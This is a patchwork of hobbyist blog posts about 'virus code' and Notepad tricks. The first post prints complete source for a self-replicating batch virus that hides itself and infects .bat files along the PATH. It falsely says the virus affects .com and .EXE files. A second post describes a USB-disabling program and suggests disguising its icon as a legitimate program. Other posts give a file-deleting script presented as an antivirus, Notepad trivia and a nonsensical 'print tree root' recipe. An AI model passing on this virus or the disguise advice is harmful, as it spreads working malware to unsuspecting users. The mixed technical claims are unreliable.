VIRUS CODE ---- Dummy Virus

A simple VIRUS code is here: Just save the following code as .bat extension in notepad.The antivirus will detect it as virus. see for yourself.
It will affect *.com and *.EXE files .
It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

:ViRuS_multiply
find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy Virus 
:XXX_END

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A Virus Program to Disable USB Ports

1. Download file USB_BLOCK on to your computer.

2. It contains the following 4 files.
block_usb.c (source code)
unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post -

3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post .

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MAKE AUTORUN.INF ANTIVIRUS MANUALLY.

1. I will explain how to create a Free USB Antivirus, using the

windows notepad and a few little scripts, this Free USB

Antivirus is very powerful against autorun.inf virus, and it

takes no time to create and no time to run.

If you are at good command of dos and batch files you

can customize it.

I want to warn you to be careful when using this procedure, because you may loose data on your hard disk or

usb memory device, and I am not going take any

responsibility of any damage of your data.

Step 1:

Open your notepad or any text editor

Step 2:

Type the exact text

@ echo off

del d:\*.inf

@ echo file deleted or no file exists

pause

Explanation:

@ echo off

is a dos command that makes the system provides no confirmation

messages

del d:\*.inf

“del” is the command that deletes the desired file from the drive

“d:”

which “d:” is your usb drive letter

and you can change it as you wish

“*.inf” is the file that must be deleted

Step 3:Save the file giving the extension bat to the created file so it should

be like that

mysimpleantivirus.bat

-3-

Step 4:

Test your simple antivirus by creating a dummy autorun.inf file on

your usb drive.

When you double click the file mysimpleantivirus.bat it will delete

the autorun.inf

Now you have added 50% protection to your system for Free

Congratulations!!

You have created your own Free USB Antivirus

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10 RIO Notepad Tricks

Notepad is the default text editor in the Microsoft Windows OS. Many people prefer alternatives to notepad such as Notepad++, but did you know that notepad can do much more than just view and edit text ? In fact, I’ll tech you how to make a fake virus using notepad so that you can fool your friends

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Funny Notepad Tricks You Have Never seen!!

Notepad is a age old app.. but today you will learn how to play with it and have fun..
Here are few nice notepad tricks you can play with..



Virus in notepad

paste this in ur notepad

Code:

"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*X5O!P%@AP[4\PZX54(P^)7CC)7}"   (Without Quotes)


now save it and scan it by ur antivirus software..



Bush trick

Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.

or

1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.

or

Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...





world trade centre trick


Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.




log trick !! make ur Notepad a diary !!

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters





Changing Header and Footer

Ever printed the little text you wrote in Notepad? More often than not, the printout starts with “Untitled” or the filename at top, and “Page 1″ on bottom. Want to get rid of it, or change it? Click on File, Page Setup. Get rid of the characters in Header and Footer boxes, and write what you want as Header and Footer. Use the following codes.

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number




Print tree root

a. Open NOTEPAD and enter {print tree root}
b. After that hit enter and type C:\windows\system
c. After that hit enter and type {print C:\windows\system\winlog
d. Hit enter and type 4*43″$@[455]3hr4~
e. Then save the file as teekids in C:\windows\system.

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